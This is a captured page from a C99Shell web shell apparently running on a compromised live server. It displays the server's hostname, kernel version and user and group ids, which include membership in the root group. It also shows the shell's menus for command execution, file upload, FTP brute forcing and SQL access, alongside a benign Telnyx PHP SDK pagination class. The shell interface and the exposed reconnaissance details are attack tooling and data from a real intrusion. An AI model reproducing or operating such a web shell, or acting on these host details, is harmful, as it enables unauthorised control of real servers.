!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/telnyx/telnyx-php/lib/   drwxr-xr-x
Free 29.26 GB of 117.98 GB (24.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Collection.php (6.31 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Telnyx;

/**
 * Class Collection
 *
 * @property string $object
 * @property string $url
 * @property mixed $data
 *
 * @package Telnyx
 */
class Collection extends TelnyxObject implements \IteratorAggregate
{
    const 
OBJECT_NAME "list";

    use 
ApiOperations\Request;

    protected 
$_requestParams = [];

    
/**
     * @return string The base URL for the given class.
     */
    
public static function baseUrl()
    {
        return 
Telnyx::$apiBase;
    }

    public function 
setRequestParams($params)
    {
        
$this->_requestParams $params;
    }

    public function 
all($params null$opts null)
    {
        list(
$url$params) = $this->extractPathAndUpdateParams($params);

        list(
$response$opts) = $this->_request('get'$url$params$opts);
        
$this->_requestParams $params;

        
// This is needed for nextPage() and previousPage()
        
$response['url'] = $url;

        
$obj Util\Util::convertToTelnyxObject($response$opts);
        
$obj->setRequestParams($params);

        return 
$obj;
    }

    public function 
create($params null$opts null)
    {
        list(
$url$params) = $this->extractPathAndUpdateParams($params);

        list(
$response$opts) = $this->_request('post'$url$params$opts);
        
$this->_requestParams $params;
        return 
Util\Util::convertToTelnyxObject($response$opts);
    }

    public function 
retrieve($id$params null$opts null)
    {
        list(
$url$params) = $this->extractPathAndUpdateParams($params);

        
$id Util\Util::utf8($id);
        
$extn urlencode($id);
        list(
$response$opts) = $this->_request(
            
'get',
            
"$url/$extn",
            
$params,
            
$opts
        
);
        
$this->_requestParams $params;
        return 
Util\Util::convertToTelnyxObject($response$opts);
    }

    
/**
     * @return \ArrayIterator An iterator that can be used to iterate
     *    across objects in the current page.
     */
    
public function getIterator()
    {
        return new 
\ArrayIterator($this->data);
    }

    
/**
     * @return Util\AutoPagingIterator An iterator that can be used to iterate
     *    across all objects across all pages. As page boundaries are
     *    encountered, the next page will be fetched automatically for
     *    continued iteration.
     */
    
public function autoPagingIterator()
    {
        return new 
Util\AutoPagingIterator($this$this->_requestParams);
    }

    
/**
     * Returns an empty collection. This is returned from {@see nextPage()}
     * when we know that there isn't a next page in order to replicate the
     * behavior of the API when it attempts to return a page beyond the last.
     *
     * @param array|string|null $opts
     * @return Collection
     */
    
public static function emptyCollection($opts null)
    {
        return 
Collection::constructFrom(['data' => []], $opts);
    }

    
/**
     * Returns true if the page object contains no element.
     *
     * @return boolean
     */
    
public function isEmpty()
    {
        return empty(
$this->data);
    }

    
/**
     * See if there are more results
     *
     * @return boolean
     */
    
public function hasMore() {
        if (isset(
$this->meta)) {
            if (
$this->meta['page_number'] < $this->meta['total_pages']) {
                return 
true;
            }
        }
        return 
false;
    }

    
/**
     * See if there are previous results
     *
     * @return boolean
     */
    
public function hasPrev() {
        if (isset(
$this->meta)) {
            if (
$this->meta['page_number'] > 1) {
                return 
true;
            }
        }
        return 
false;
    }

    
/**
     * Fetches the next page in the resource list (if there is one).
     *
     * This method will try to respect the limit of the current page. If none
     * was given, the default limit will be fetched again.
     *
     * @param array|null $params
     * @param array|string|null $opts
     * @return Collection
     */
    
public function nextPage($params null$opts null)
    {
        if (!
$this->hasMore()) {
            return static::
emptyCollection($opts);
        }

        
$params array_merge(
            
$this->_requestParams,
            
$params ?: []
        );

        
// Remove page number from the next request. Detect both syntaxes
        
if (isset($params['page']) && isset($params['page']['number'])) {
            unset(
$params['page']['number']);
        }
        elseif (isset(
$params['page[number]'])) {
            unset(
$params['page[number]']);
        }

        
// Set a new page number
        
$params['page[number]'] = $this->meta['page_number'] + 1;

        return 
$this->all($params$opts);
    }

    
/**
     * Fetches the previous page in the resource list (if there is one).
     *
     * This method will try to respect the limit of the current page. If none
     * was given, the default limit will be fetched again.
     *
     * @param array|null $params
     * @param array|string|null $opts
     * @return Collection
     */
    
public function previousPage($params null$opts null)
    {
        if (!
$this->hasPrev()) {
            return static::
emptyCollection($opts);
        }

        
$params array_merge(
            
$this->_requestParams,
            
$params ?: []
        );

        
// Remove page number from the next request. Detect both syntaxes
        
if (isset($params['page']) && isset($params['page']['number'])) {
            unset(
$params['page']['number']);
        }
        elseif (isset(
$params['page[number]'])) {
            unset(
$params['page[number]']);
        }

        
// Set a new page number
        
$params['page[number]'] = $this->meta['page_number'] - 1;

        return 
$this->all($params$opts);
    }

    private function 
extractPathAndUpdateParams($params)
    {
        
$url parse_url($this->url);
        if (!isset(
$url['path'])) {
            throw new 
Exception\UnexpectedValueException("Could not parse list url into parts: {$url}");
        }

        if (isset(
$url['query'])) {
            
// If the URL contains a query param, parse it out into $params so they
            // don't interact weirdly with each other.
            
$query = [];
            
parse_str($url['query'], $query);
            
$params array_merge($params ?: [], $query);
        }

        return [
$url['path'], $params];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0049 ]--